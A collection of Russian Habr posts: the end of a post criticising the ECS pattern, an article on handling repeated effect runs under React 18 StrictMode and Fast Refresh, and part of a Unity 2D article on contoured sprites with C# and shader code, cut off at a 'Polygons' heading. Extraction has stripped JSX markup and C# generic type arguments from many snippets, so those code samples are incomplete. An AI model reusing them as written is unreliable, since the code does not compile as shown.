Ссылки на статью распространились за пределы кругов разработчиков игр, поэтому добавлю: "[ECS](https://en.wikipedia.org/wiki/Entity%E2%80%93component%E2%80%93system)" (*эта статья Википедии плоха, кстати, она объединяет концепции EC и ECS, а это не одно и то же...*) — это фальшивый шаблон, циркулирующий внутри сообществ разработчиков игр. По сути, он является версией реляционной модели, в которой «сущности» — это просто ID, обозначающие бесформенный объект, «компоненты» — это строки в конкретных таблицах, ссылающиеся на ID, а «системы» — это процедурный код, который может модифицировать компоненты. Этот «шаблон» всегда позиционировался как решение проблемы избыточного применения наследования, но при этом не упоминается, что избыточное применение наследования на самом деле нарушает рекомендации ООП. Отсюда моё возмущение. Это не «единственно верный способ» написания ПО. Пост предназначен для того, чтобы люди на самом деле изучали существующие принципы проектирования. | https://habr.com/ru/post/441174/ | null | ru | null |
# Решение проблемы с многократным запуском эффектов в React 18
Введение
--------
В этой статье мы рассмотрим адаптацию компонентов React 18 к много кратному монтированию и повторному вызову эффектов с повторно используемым стоянием (Reusable State). Под эффектами понимается срабатывание хуков: useEffect, useLayoutEffect, useInsertionEffect и методов componentDidMount, componentWillUnmount. Далее я буду писать просто эффекты чтобы заново не перечислять хуки и методы. Напишем несколько примеров типичных решений для адаптации компонентов, новому поведению React 18 StrictMode и функции React Fast Refresh. Все примеры в этой статье буду запущены в [codesandbox](https://codesandbox.io), React запущен в режиме разработки и с включенным StrictMode.
React 18 вышел в марте 2022 года, и для многих материал статьи не будет новым. Новое поведение Strict Mode уже частично было упомянуто в написанных ранее статьях: [React 18: что нужно знать о новой версии](https://habr.com/ru/post/577168/) и [Основные изменения React 18](https://habr.com/ru/company/domclick/blog/689152/), но я подумал неплохо было бы написать на тему Reusable State и Strict Mode небольшую статью с примерами кода и не большими размышлениями.
Мотивация к написанию статьи
----------------------------
Поделиться опытом и получить отзывы. Второе это сделать статью, которая не только объяснит почему происходят эти срабатывания, зачем это было сделано, но также будут даны рекомендации и решения, подходящие для много кратного срабатывания эффектов, на которое можно давать ссылку на форуме.
Надеюсь я все это сделал не зря и буду рад любому отзыву, приятного чтения!
Новое поведение Strict Mode и Reusable State
--------------------------------------------
### Reusable State
Это состояние, которое останется после размонтирования, и будет использовано при монтировании, но сохраняться состояние будет только с использованием функций с поддержкой Reusable State, а не при любом размонтировании. Также стоит упомянуть что Reusable State это часть функционала [Concurrent React](https://reactjs.org/blog/2022/03/29/react-v18.html#what-is-concurrent-react) (предпоследний абзац в этом разделе).
Работает это так: состояние, созданное с помощью useState или useRef и библиотек управления состоянием будет сохраняться после размонтирования, а при монтировании сохранённое состояние будет подгружаться, и будут повторно срабатывать эффекты.
Мотивация для введения Reusable State: в будущем React сможет добавлять и удалять разделы пользовательского интерфейса с сохранением состояния, это должно повысить производительность
[Источник документация Strict Mode](https://ru.reactjs.org/docs/strict-mode.html#ensuring-reusable-state)
Для того чтобы подготовиться к новым изменениям, нужно сделать компоненты устойчивыми к многократному монтированию и размонтированию с сохранением состояния.
### Новое поведение Strict Mode в режиме разработки в React 18 в сравнении с React 17.
* Монтирование(React17/React18) - запуск эффектов монтирования.
* Симуляция размонтирования(React18) - выполнение эффектов размонтирования.
* Симуляция монтирования (React18)- запуск эффектов монтирования.
Все три этапа выполняются синхронно (пример в следующей разделе), а установка состояния выполняется асинхронно, и что важнее оно будет устанавливаться асинхронно 2 раза, т.е. доступ к новому состоянию мы получим только после симуляции монтирования, т.е. даже на повторном монтировании мы не увидим изменений. Немного забегая вперед, для того чтобы узнать что монтирование выполняется я буду использовать [ref](https://reactjs.org/docs/refs-and-the-dom.html) потому что изменения выполняются синхронно и значение сохраняется после симуляции размонтирования.
На reactwg github discussion было создано 2 обсуждения и как видно из комментариев сообщество React приняло эту новость с долей непонимания:
* [#18 How to support Reusable State in Effects](https://github.com/reactwg/react-18/discussions/18) - как адаптировать свои компоненты к Reusable State.
* [#19 Adding Reusable State to StrictMode](https://github.com/reactwg/react-18/discussions/19) - обсуждается почему это было сделано.
### Пример демонстрация нового поведения Strict Mode
Тут ничего адаптировать не будем, а продемонстрируем синхронное выполнение этапов монтирований и размонтирований:
```
root.render(
);
```
[Демо код](https://codesandbox.io/s/demo-1-mount-unmount-mount-sync-b6m14y) и текст примера:
```
const Component = () => {
const simulation = React.useRef(false);
console.log("render");
React.useEffect(() => {
if (simulation.current) {
console.log("mount simulation");
} else {
console.log("mount");
simulation.current = true;
}
Promise.resolve().then(() => (simulation.current = false));
return () => {
if (simulation.current) {
console.log("unmount simulation");
} else {
console.log("unmount ");
}
};
}, []);
return <>Component Mounted;
};
```
В режиме разработки и включенном строгом режиме при монтировании мы увидим сообщения в консоли:
`render`
`render`
`mount`
`unmount simulation`
`mount simulation`
После сборки проекта будет всего одно сообщение, я собирал и запускал с помощью NextJS:
`mount`
При размонтировании в обоих режимах мы увидим только одно сообщение:
`unmount`
Promise в эту задачу был добавлен чтобы после выполнения симуляций, которые выполняется синхронно, установить simulation.current в false для того что бы при реальном размонтировании компонента мы получили сообщение "mount" вместо "unmount simulation". По другому узнать что это симуляция пока невозможно.
### Новые функции использующие Reusable State
Разработчики React планируют добавлять новые функции, которые будут использовать Reusable State. Пока известно о двух функциях. [Источник #19 Adding Reusable State to StrictMode](https://github.com/reactwg/react-18/discussions/19)
Первая функция это Fast Refresh, пришла на смену [HMR](https://webpack.js.org/concepts/hot-module-replacement/) еще в React 16.9 [2020 году](https://github.com/facebook/create-react-app/pull/8582) как экспериментальная. Сегодня Fast Refresh уже не экспериментальная и добавлена в React и React Native. Каждый раз, когда вы редактируете и файл в режиме разработки, выполнится повторный рендеринг с текущим состоянием, потому что есть поддержка reusable state, но эффекты будут запущены повторно, если компонент выйдет из строя из-за повторного запуска эффектов, он не будут хорошо работать с новыми разрабатываемыми функциями. Функция Fast Refresh более подробно описана в статье: [React Fast Refresh](https://frontend-stuff.com/blog/react-fast-refresh/)
Под эффектами понимается код, который запускается в классовых и функциональных компонентах при повторном монтировании:
* У функциональных компонентов это хуки у которые есть, аргумент зависимостей, т.е. такие как useEffect, useReducer, useCallback
* У классовых компонентов это функции componentDidMount, componentWillUnmount
Несколько продуктов которые поддерживают Fast Refresh:
* [NextJS](https://nextjs.org/docs/basic-features/fast-refresh)
* [Gatsby](https://www.gatsbyjs.com/docs/reference/local-development/fast-refresh/)
* [React Native](https://reactnative.dev/docs/fast-refresh)
Вторая функция пока еще в разработке Offscreen API - позволит нам лучше поддерживать пользовательские интерфейсы, такие как контейнеры с вкладками и виртуализированные списки, а также лучше использовать новые браузерные API, такие как content-visibility. Это также поможет с оптимизацией предварительного рендеринга, над которой работает команда React Native. Но чтобы достичь этого, нам нужно внести изменения в то, как работают эффекты.
Несколько слов о подходах к решению проблемы повторного монтирования
--------------------------------------------------------------------
Сразу обозначу проблему: После симуляции размонтирования, происходит симуляция монтирования, которая повторно запускает эффекты.
Почему это проблема может быть. Если мы запускаем функции с побочными эффектами (side effect) - это такие функции эффект которых действует на что-то помимо возвращаемого значения функции. Примерами могут быть: изменение локального состояния компонента, обращение к внешнему API, отправка действия в библиотеку управления состоянием, отправка сообщения в консоль и т.д. Проблемой это становится если по алгоритму оно должно запускаться 1 раз, вместо нескольких.
Сейчас нужно адаптировать компоненты к повторному монтированию только в режиме разработки к новому поведению Strict Mode и функции React Fast Refresh. Функционал React Fast Refresh и Reusable State существовал еще до 18 версии React, а новое поведение Strict Mode было добелено именно в 18 версии.
В продакшен режиме дополнительных монтирований пока не обнаружено, ждем новое API.
Последовательность монтировании / размонтирований:
* StrictMode вызывает синхронно: mount > simulation unmount > mount
* React Resfresh вызывает синхронно при каждом сохранении файла: unmount > mount
### Демонстрация проблемы
В этом [примере](https://codesandbox.io/s/problem-effect-reusable-state-and-fast-reload-7zoge8) компонент не адаптирован, в нем вызываются эффекты на каждое монтирование и размонтирование, которые происходят с новым поведением Strict Mode и React Fast Refresh при редактировании исходного файла модуля. Конечно сам вызов эффектов не является проблемой если именно так и задумывалось, да и вообще может не мешать разработке если понимаешь в чем дело и не лень лишний раз обновить страницу.
В примере демонстрируются хуки вызывающие эффекты, которые вычисляют новое сосотояние на основе старого, а не заменяя его на новое.
```
React.useEffect(() => {
setState((prev) => prev + 1);
return () => {
console.log("useEffect unmount:");
};
}, []);
```
### Предлагаемые решения
Использование [ref](https://ru.reactjs.org/docs/refs-and-the-dom.html) - в офф доке, рекомендуется использовать ref для прямого доступа к HTML DOM элементам, но ref также хорошо подходят для хранения значения переменных, сохраняющихся между рендерами и после симуляции размонтирования, в отличии от состояния ref изменяется синхронно и его изменение не вызывает перерисовку компонента.
Использование stateless компонентов, использовать для этого библиотеки управления состоянием таких как redux, mobx и т.д. подразумевается вынесение управления состоянием компонента за пределы компонента (использование stateless компонентов), нам останется следить за тем чтобы не отправить лишних запросов на изменение состояния. [Пример Redux](https://codesandbox.io/s/redux-toolkit-counter-pojq5t)
Предотвращение запуска эффектов при симуляции монтирования и размонтирования, продемонстрировано в решении "используем debounce для адаптации компонентов"
Также хорошей идеей будет использовать практики, которые помогут или полностью избавят от повторных эффектов или снизят их количество:
* Применение Композиции - так как react refresh перезагружает, конкретно редактируемый модуль, то как вариант можно попробовать разбивать компоненты, на более мелкие. Будет продемонстрированно в главе.
* Использовать библиотеки адаптированные к react 18 - это поможет справиться с новым поведением strict mode, например react query не будет делать 2 запроса на этапе монтирования с включенным Strict Mode.
* Использовать кеширование - также на примере react query можно с помощью кеширования снизить число запросов к внешнему API, дополнительно можно на время редактирования файла включить опцию выполнения запросов по требованию вместо автоматических запросов, за это отвечает опция enabled.
[Полный код примера react query](https://codesandbox.io/s/react-query-base-ts-refactoring-xgz6hu)
Код использования хука usePosts в компоненте:
```
const { status, data, error, isFetching /*refetch*/ } = usePosts(/*false*/);
```
Код хука usePosts для удобства передаем опцию включения ручного режима через параметр хука:
```
export function usePosts(enabled: boolean = true) {
return useQuery({
queryKey: ["posts"],
enabled,
queryFn: async (): Promise> => {
const { data } = await axios.get(
"https://jsonplaceholder.typicode.com/posts"
);
console.log("usePosts queryFn trigger");
return data;
}
});
}
```
Альтернативным решением возможно даже хорошей идеей сейчас, пока нет нового API в продакшен, может быть отключение StrictMode и React Fast Refresh.
#### Отключение StrictMode
Как написано на странице документации [react strict mode](https://ru.reactjs.org/docs/strict-mode.html),
> Проверки строгого режима работают только в режиме разработки; они не оказывают никакого эффекта в продакшен-сборке.
>
>
Обертку StrictMode не обязательно применять ко всему проекту, можно только к отдельной его части.
```
root.render(
);
```
#### Отключение React Fast Refresh
Основная причина отключить это то что каждое изменения исходного файла перезапускает все хуки у которых есть зависимости, и после много кратных перезапусков нет уверенности что состояние компонента в порядке, или просто не хочется смотреть как браузер пытается отобразить страницу во время изменения кода. Чтобы быть уверенным что все в порядке проще перезагрузить страницу с компонентом в котором меняли код по f5.
Вторая причина React Refresh при работе с классовыми компонентами не сохраняет состояние, после размонтирования. Рассмотрим работу функции React Fast Refresh [на этом примере с классовыми компонентами](https://codesandbox.io/s/class-reusable-state-e9we9u?file=/src/Component.tsx:0-1493), как только мы редактируем файл - состояние сбрасывается. Я задал вопросы на форуме [stackoverflow](https://stackoverflow.com/questions/75111127/how-to-work-reusable-state-in-class-components) и в дискуссии [#19 discussion](https://github.com/reactwg/react-18/discussions/19#discussioncomment-4674992) - я это сделал недавно, так что ответов пока нет.
Для того чтобы отключить в проекте, в котором используется react-scripts можно отредактировать скрипт запуска например так ( смотри [react-scripts](https://create-react-app.dev/docs/advanced-configuration/) настройки тут):
```
"scripts": {
"start": "cross-env FAST_REFRESH=false WDS_SOCKET_HOST=unknown react-scripts start",
"build": "react-scripts build",
"test": "react-scripts test",
"eject": "react-scripts eject"
},
```
Тут две опции: FAST\_REFRESH=false - отключает Fast refresh, после отключения автоматически заработает HMR, для отключения этой опции я использовал WDS\_SOCKET\_HOST=unknown. Насколько мне известно в react-scripts нет доступа к webpack.config.json для 5 версии, для 4ой я находил проект, но это было давно… может что-то поменялось, если кото-то подскажет буду рад.
Для проекта без react-scripts нужно любым способом передать FAST\_REFRESH=false как переменную среды, а в webpack.config.json ([смотри настройки](https://webpack.js.org/guides/hot-module-replacement/)) запретить HMR например так:
```
devServer: {
hot: false,
},
```
Пишем код для адаптации компонентов
-----------------------------------
### Инициализируем что-то на эффекте монтирования и уничтожаем при размонтировании
Этот пример был взят из [#18 How to support Reusable State in Effects](https://github.com/reactwg/react-18/discussions/18). Этот пример хорошо работает не только с многократным вызовом эффектов, это можно сказать обычная практика, очень похож на паттерн [Observer](https://www.patterns.dev/posts/classic-design-patterns/#observerpatternjavascript), инициализируем на эффекте монтирования и уничтожаем при размонтировании, и можем много кратно это повторить.
[Код примера 1](https://codesandbox.io/s/demo-solution-discus-18-require-clean-1-y1fg1t) - Допустим у нас есть модуль, который рассылает сообщения другим модулям. Подписываемся / отписываемся на рассылку каждое монтирование и размонтирование. тут мы по сути выносим управление состоянием из компонента и отдаем его в императив рассылки сообщений.
```
import React from "react";
import { SomeImperativeThing } from "./SomeImperativeThing";
const Component = () => {
const [message, setMessage] = React.useState();
React.useEffect(() => {
// Создаем на каждое монтирование
const someImperativeThing = new SomeImperativeThing(setMessage);
return () => {
// уничтожаем на каждое размонтирование
someImperativeThing.destroy();
};
}, []);
return (
Component mounted
Mesage of the day {message}
);
};
export default Component;
```
[Код примера 2](https://codesandbox.io/s/demo-solution-discus-18-require-clean-2-plsk1v) - тоже что и пример 1, дополнительно храним вещь в ref чтобы к ней был доступ за пределами хука useEffect, например для того чтобы получить список 10 последних отосланных сообщений.
[Код примера 3](https://codesandbox.io/s/demo-solution-discus-18-require-clean-3-dqj24k) - тоже что и пример 1, только инициализация выполняется по более оптимальному сценарию, если нам никогда не потребуется получать сообщения, мы не будем подписываться на императив рассылки сообщений.
### Эффект, сработает только 1 раз на монтирование
[Код примера](https://codesandbox.io/s/demo-solution-discus-18-run-once-ub276b) - В этом примере ref используется для предотвращения выполнения эффекта более одного раза.
```
const Component = () => {
const didLogRef = React.useRef(false);
React.useEffect(() => {
if (didLogRef.current === false) {
// этот код будет выполнен только один раз,
didLogRef.current = true;
SomeTrackingAPI.logImpression();
}
}, []);
return <>Component Loaded;
};
```
### Используем debounce для адаптации компонентов
[Код примера](https://codesandbox.io/s/demo-solution-react-refresh-adapt-debounce-2-iw4dbp?file=/src/Component.tsx)
Код не адаптированного компонента:
```
const Component = () => {
const [state, setState] = React.useState();
React.useEffect(() => {
setState(Date.now());
console.log("mount enabled");
return () => {
console.log("unmount enabled");
setState(null);
};
}, []);
React.useEffect(() => {
console.log("state changed enabled", state);
}, [state]);
return (
The not adapted component is loaded
setState(Date.now())}>Change State
State: {state}
);
};
```
Для адаптации компонента к многократному монтированию нужно сделать не очень большое количество изменений:
```
const Component = () => {
const [state, setState] = React.useState();
const d = React.useRef(null);
React.useEffect(() => {
if (d.current === null) {
d.current = debounce();
}
const f = d.current;
if (f.effect("mount")) {
setState(Date.now());
console.log("mount enabled");
} else {
console.log("sim mount disabled");
}
return () => {
f.unmount(() => {
console.log("unmount enabled Component Adapt");
setState(null);
});
};
}, []);
React.useEffect(() => {
if (d.current?.effect("change")) {
console.log("state changed enabled", state);
} else {
console.log("sim state changed disabled");
}
}, [state]);
return (
The adapted component is loaded
setState(Date.now())}>Change State
State: {state}
);
};
```
Код debounce:
```
enum EDebounceState {
BeforeReMount,
AfterReMount
}
interface IDebounce {
(): { effect: (name: string) => boolean; unmount: (cb: Function) => void };
}
export const debounce: IDebounce = () => {
let state: EDebounceState = EDebounceState.BeforeReMount;
const triggerReMount = new Set();
let timeoutUnMountCancel: ReturnType | null = null;
const effect = (name: string) => {
if (timeoutUnMountCancel) {
console.log("sim unmount disabled");
clearTimeout(timeoutUnMountCancel);
timeoutUnMountCancel = null;
}
if (state === EDebounceState.AfterReMount) {
if (triggerReMount.has(name)) return true;
triggerReMount.add(name);
return false;
}
return true;
};
const unmount = (cb: Function) => {
timeoutUnMountCancel = setTimeout(() => cb());
state = EDebounceState.AfterReMount;
triggerReMount.clear();
};
return {
effect,
unmount
};
};
```
debounce возвращает объект с двумя методами:
* effect(name - имя эфеекта) - подсчитывает запуски эффектов после размонтирования и проверяет может ли объект сработать;
* unmount(cb) - идентифицирует размонтирование, т.е. этот метод должен быть вызван только в одном эффекте, которые будет идентифицировать что компонент размонтировался. Так же этот метод принимает каллбэк для действий размонтирования.
работа debounce основана на том что после симуляции размонтирования, будет выполнена симуляция монтирования, с повторным запуском эффектов. Будут запущены эффекты, которые запустились более одного раза после размонтирования. Каждое размонтирование счетчик запуска эффектов обнуляется. Эффекты идентифицируются по имени, которое передается в методе effect.
Выводы
------
Для меня самым удобным способом адаптации компонентов стало отключение функции React Fast Refresh, я перегружаю страницу по f5 чтобы увидеть новые изменения, новое поведение Strict Mode не мешает, его ввели чтобы подготовить компоненты. Буду рад прочитать Ваше мнение.
[Ссылка на статью на моем сайте](https://mrdramm.netlify.app/posts/reshenie-problemy-s-mnogokratnym-zapuskom-effektov-v-react-18) с интерактивным оглавлением
Источники которые использовались для составления статьи:
* [New Strict Mode Behaviors](https://reactjs.org/blog/2022/03/29/react-v18.html#new-strict-mode-behaviors)
* [React Fast Refresh](https://frontend-stuff.com/blog/react-fast-refresh/)
* [#18 How to support Reusable State in Effects](https://github.com/reactwg/react-18/discussions/18)
* [#19 Adding Reusable State to StrictMode](https://github.com/reactwg/react-18/discussions/19) | https://habr.com/ru/post/712196/ | null | ru | null |
# 2D магия в деталях. Часть вторая. Структура
Помните небезызвестный мем про "корованы"? Наверное, каждый, кто разрабатывает игры (или хотел бы этим заняться) раздумывает о неком "проекте мечты", где можно будет "грабить корованы" и "набигать". А ещё, чтобы погода менялась динамически, и на грязи следы от сапог оставались, и деревья росли в реальном времени. И ещё, чтобы ...
Понятно, что в реальном игровом проекте такая погоня за хотелками — смерти подобна. А вот в техно-демке — самое то.
Предыдущие статьи
-----------------
[Часть первая. Свет.](https://habrahabr.ru/post/305252)
**Часть вторая. Структура.**
[Часть третья. Глобальное освещение.](https://habrahabr.ru/post/313776/)
Оглавление
----------
1. Вступление
2. Спрайты
3. Полигоны
4. Pixel perfect и целочисленная геометрия
5. Старая структура проекта
6. Region tree
7. Менеджеры
8. Постэффекты
9. Мысли о будущем
Вступление
----------
Напомню, что в прошлой части был опрос: на какую тему написать следующую статью. И динамическая вода показалась сообществу наиболее интересной. Но это долгая история и начать придется со структуры проекта и алгоритмах, которые используются под капотом, а затем рассказать о доработках освещения и постэффектах. Текст получится большой, так что вода переезжает дальше, в одну из ближайших статей. Кстати, эта статья содержит поменьше красивых рендеров, но куда больше технических хинтов. Не скучайте.
С момента написания предыдущей статьи было сделано очень многое. Переписан начисто весь код проекта, оптимизированы алгоритмы, добавлены новые источники света, реализовано фоновое освещение, реализована вода с бликами, волнами, кипением и замерзанием. Как вы могли заметить — ни слова о персонажах или геймплейной составляющей, это ещё впереди. Не буду забегать вперед и расскажу всё по порядку.
Спрайты
-------
Наш проект про магов, а значит, без старых каменных за́мков не обойтись. Вот только рисовать каждый с нуля — себе дороже. Попробуем собирать их из небольших кусочков, например, вот таких:
*Аккуратные кусочки, из которых можно сделать ВСЁ.*
Чтобы у этих кусочков был общий контур, напишем какой-нибудь шейдер, а статический батчинг в Unity3d оптимизирует количество вызовов отрисовки. Вот только чтобы получить общий контур, придется использовать двухпроходный шейдер со stencil буфером: первая часть нарисует контуры, а вторая — заливку. А любые элементы, которые используют материалы с многопроходными шейдерами в батчинге [не участвуют.](https://docs.unity3d.com/Manual/DrawCallBatching.html) Лучше отрисовывать каждый спрайт дважды, но с разными материалами. Количество вершин увеличится, зато вызовов отрисовки останется всего два.
*Рендерим сплошной контур.*
*Добавляем текстуру.*
Таким нехитрым способом можем создать вот такой за́мок:
*Стены в редакторе. Текстуру и цвет контура можно настраивать отдельно.*
**Хинты и подводные камни**
1. **Убираем копипасту.** Конечно, не стоит руками копировать спрайты. У меня есть класс *Contour*, который содержит все нужные настройки для спрайта и 2 материала. При появлении на сцене этот класс создает по два наследника с *SpriteRenderer* (для контура и фона).
1. **Автоматизируем перенос.** Изначально у меня уже были префабы-спрайты, которые использовались на сцене (несколько сотен элементов). Когда я решил обернуть их в *Contour*, изменения префабов почему-то не применялись к созданным объектам. К счастью, можно легко написать скрипт, который для каждого существующего элемента найдет соответствующий префаб (по имени), и создаст в нужной позиции элемент из этого префаба. Ключевые методы — [UnityEditor.AssetDatabase.LoadAssetAtPath](https://docs.unity3d.com/ScriptReference/AssetDatabase.LoadAssetAtPath.html) и [UnityEditor.PrefabUtility.ConnectGameObjectToPrefab](https://docs.unity3d.com/ScriptReference/PrefabUtility.ConnectGameObjectToPrefab.html)
2. **Правильный drag'n'drop.** Минус разделения на спрайты — теперь по умолчанию на сцене выбирается и используется в drag'n'drop'е один из спрайтов-наследников. Решается проблема добавлением атрибута [[SelectionBase]](https://docs.unity3d.com/ScriptReference/SelectionBaseAttribute.html) перед классом *Contour*.
3. **Отображение префабов.** В меню проекта префабы с контурами теперь не отображаются как спрайты, и, если честно, я не нашел способа самому генерировать иконку. Поэтому в префабы я добавил ещё и *SpriteRenderer*, спрайт которому задаёт мой *Contour*. При добавлении на сцену я удаляю из объекта не нужный в геймплее *SpriteRenderer*.
4. **Удаление из OnValidate**. При добавлении объекта на сцену вызывается *OnValidate* и именно там я удаляю *SpriteRenderer*. Вот только ни *Destroy*, ни *DestroyImmediate* в этом методе не работают (без колдовства с собственным редактором класса), поэтому использую такой костыль:
```
#if UNITY_EDITOR
void OnValidate() {
if (UnityEditor.PrefabUtility.GetPrefabParent(gameObject) == null && UnityEditor.PrefabUtility.GetPrefabObject(gameObject) != null) {
var renderer = GetComponent();
renderer.sprite = sprite;
return;
} else {
var renderer = GetComponent();
UnityEditor.EditorApplication.delayCall+=()=>
{
if (renderer == null)
return;
DestroyImmediate(renderer);
};
}
}
#endif
```
**Поделюсь кодом: класс Contour**
```
using UnityEngine;
using System.Collections;
using NewEngine.Core.Components;
namespace NewEngine.Core.Static {
[SelectionBase]
public class Contour : MonoBehaviour {
public interface SpriteSettings {
Color Color { get; set; }
int SortingLayerId { get; set; }
string SortingLayerName { get; set; }
int SortingOrder { get; set; }
Material Material { get; set; }
}
[System.Serializable]
class SpriteSettingsImpl : SpriteSettings {
[SerializeField] Material material;
[SerializeField] SortingLayer sortingLayer;
[SerializeField] int sortingOrder;
[SerializeField] Color color = Color.white;
SpriteRenderer spriteRenderer;
public Color Color {
set { color = value; }
get { return color; }
}
public int SortingLayerId {
set {
// TODO мб внутренние функции позволяют обойтись без цикла?
foreach (var layer in SortingLayer.layers) {
if (layer.id != value)
continue;
sortingLayer = layer;
if (spriteRenderer != null)
spriteRenderer.sortingLayerID = sortingLayer.id;
return;
}
sortingLayer = new SortingLayer();
if (spriteRenderer != null)
spriteRenderer.sortingLayerID = sortingLayer.id;
}
get {
return sortingLayer.id;
}
}
public string SortingLayerName {
set {
// TODO мб внутренние функции позволяют обойтись без цикла?
foreach (var layer in SortingLayer.layers) {
if (layer.name != value)
continue;
sortingLayer = layer;
if (spriteRenderer != null)
spriteRenderer.sortingLayerID = sortingLayer.id;
return;
}
sortingLayer = new SortingLayer();
if (spriteRenderer != null)
spriteRenderer.sortingLayerID = sortingLayer.id;
}
get {
return sortingLayer.name;
}
}
public int SortingOrder {
set {
sortingOrder = value;
if (spriteRenderer != null)
spriteRenderer.sortingOrder = sortingOrder;
}
get { return sortingOrder; }
}
public Material Material {
set {
material = value;
if (spriteRenderer != null)
spriteRenderer.sharedMaterial = material;
}
get { return material; }
}
public SpriteRenderer SpriteRenderer {
set {
spriteRenderer = value;
if (spriteRenderer == null)
return;
spriteRenderer.color = color;
spriteRenderer.sortingOrder = sortingOrder;
spriteRenderer.sortingLayerID = sortingLayer.id;
spriteRenderer.material = material;
}
}
}
[SerializeField] SpriteSettingsImpl fillSettings;
[SerializeField] SpriteSettingsImpl contourSettings;
[SerializeField] Sprite sprite;
[SerializeField] bool flipX;
[SerializeField] bool flipY;
SpriteRenderer fillSprite;
SpriteRenderer contourSprite;
void OnValidate() {
#if UNITY_EDITOR
if (IsPrefab) {
var renderer = this.GetRequiredComponent();
renderer.sprite = sprite;
return;
} else {
var renderer = this.GetRequiredComponent();
UnityEditor.EditorApplication.delayCall+=()=>
{
if (renderer == null)
return;
DestroyImmediate(renderer);
};
}
#endif
var tmpFill = FillSprite;
var tmpContour = ContourSprite;
ApplySettings(fillSprite, fillSettings);
ApplySettings(contourSprite, contourSettings);
}
public SpriteRenderer FillSprite {
get {
if (IsPrefab)
return null;
if (fillSprite == null)
fillSprite = Create(fillSettings, "fill");
return fillSprite;
}
}
public SpriteRenderer ContourSprite {
get {
if (IsPrefab)
return null;
if (contourSprite == null)
contourSprite = Create(contourSettings, "contour");
return contourSprite;
}
}
public SpriteSettings FillSettings { get { return fillSettings; } }
public SpriteSettings ContourSettings { get { return contourSettings; } }
public bool FlipX {
get {
return flipX;
}
set {
flipX = value;
FillSprite.flipX = flipX;
ContourSprite.flipX = flipX;
}
}
public bool FlipY {
get {
return flipY;
}
set {
flipY = value;
FillSprite.flipY = flipY;
ContourSprite.flipY = flipY;
}
}
public Sprite Sprite {
get {
return sprite;
}
set {
sprite = value;
FillSprite.sprite = sprite;
ContourSprite.sprite = sprite;
}
}
SpriteRenderer Create(SpriteSettingsImpl settings, string spriteName) {
var child = transform.FindChild(spriteName);
var obj = child == null ? null : child.gameObject;
if (obj == null) {
obj = new GameObject();
obj.name = spriteName;
obj.transform.parent = transform;
}
var sprite = obj.GetRequiredComponent();
if (sprite == null) {
sprite = obj.AddComponent();
sprite.receiveShadows = false;
sprite.shadowCastingMode = UnityEngine.Rendering.ShadowCastingMode.Off;
sprite.useLightProbes = false;
}
ApplySettings(sprite, settings);
return sprite;
}
void ApplySettings(SpriteRenderer spriteRenderer, SpriteSettingsImpl settings) {
spriteRenderer.flipX = flipX;
spriteRenderer.flipY = flipY;
spriteRenderer.sprite = sprite;
settings.SpriteRenderer = spriteRenderer;
spriteRenderer.transform.localPosition = Vector3.zero;
spriteRenderer.transform.localScale = Vector3.one;
spriteRenderer.transform.localRotation = Quaternion.identity;
}
bool IsPrefab {
get {
#if UNITY\_EDITOR
return UnityEditor.PrefabUtility.GetPrefabParent(gameObject) == null && UnityEditor.PrefabUtility.GetPrefabObject(gameObject) != null;
#else
return false;
#endif
}
}
}
}
#endif
```
**Шейдер для заливки**
```
Shader "NewEngine/Game/Foreground/Contour"
{
Properties
{
_MainTex ("MainTex", 2D) = "white" {}
[MaterialToggle] PixelSnap ("Pixel snap", Float) = 0
}
SubShader
{
Tags
{
"Queue"="Transparent"
"IgnoreProjector"="True"
"RenderType"="Transparent"
"PreviewType"="Plane"
"CanUseSpriteAtlas"="True"
}
Cull Off
Lighting Off
ZWrite On
ZTest Off
Fog { Mode Off }
Blend One OneMinusSrcAlpha
Pass
{
// Используется в дальнейшем
Stencil
{
WriteMask 7
Ref 6
Pass Replace
}
CGPROGRAM
#pragma vertex vert
#pragma fragment frag
#include "UnityCG.cginc"
struct appdata
{
float4 vertex : POSITION;
float2 uv : TEXCOORD0;
float4 color : COLOR;
};
struct v2f
{
float2 uv : TEXCOORD0;
float4 vertex : SV_POSITION;
float4 color : COLOR;
};
sampler2D _MainTex;
v2f vert (appdata v)
{
v2f o;
o.vertex = mul(UNITY_MATRIX_MVP, v.vertex);
#ifdef PIXELSNAP_ON
v.vertex = UnityPixelSnap (v.vertex);
#endif
o.uv = v.uv;
o.color = v.color;
return o;
}
fixed4 frag (v2f i) : SV_Target0
{
fixed4 color = tex2D(_MainTex, i.uv) * i.color;
if (color.a == 0)
discard;
return i.color * color.a;
}
ENDCG
}
}
}
```
**Шейдер для контура. Магические числа и странные условия прилагаются**
```
Shader "NewEngine/Game/Foreground/Fill"
{
Properties
{
_MainTex ("MainTex", 2D) = "white" {}
_BackgroundTex ("BackgroundTex", 2D) = "white" {}
_MaskColor ("MaskColor", Color) = (0, 0, 0, 0)
[MaterialToggle] PixelSnap ("Pixel snap", Float) = 0
}
SubShader
{
Tags
{
"Queue"="Transparent"
"IgnoreProjector"="True"
"RenderType"="Transparent"
"PreviewType"="Plane"
"CanUseSpriteAtlas"="True"
}
Cull Off
Lighting Off
ZWrite On
ZTest Off
Fog { Mode Off }
Blend One OneMinusSrcAlpha
Pass
{
Stencil
{
WriteMask 7
Ref 2
Pass Replace
}
CGPROGRAM
#pragma vertex vert
#pragma fragment frag
#include "UnityCG.cginc"
struct appdata
{
float4 vertex : POSITION;
float4 color : COLOR;
float2 uv : TEXCOORD0;
};
struct v2f
{
float4 uv : TEXCOORD0;
float4 vertex : SV_POSITION;
float4 color : COLOR;
};
sampler2D _BackgroundTex;
sampler2D _MainTex;
float4 _BackgroundTex_ST;
float4 _BackgroundTex_TexelSize;
fixed4 _MaskColor;
v2f vert (appdata v)
{
v2f o;
o.vertex = mul(UNITY_MATRIX_MVP, v.vertex);
o.uv.xy = v.uv;
o.uv.zw = mul(_Object2World, v.vertex) * fixed4(1 / _BackgroundTex_TexelSize.zw * 32, 1, 1);
o.color = v.color;
return o;
}
fixed4 frag (v2f i) : SV_Target
{
fixed4 backgroundColor = tex2D(_BackgroundTex, i.uv.zw) * i.color;
fixed4 mask = tex2D(_MainTex, i.uv.xy);
if (mask.a == 0 || backgroundColor.a == 0 || length(mask - _MaskColor) > 0.00001 /* threshold */)
discard;
return backgroundColor * backgroundColor.a;
}
ENDCG
}
}
}
```
Полигоны
--------
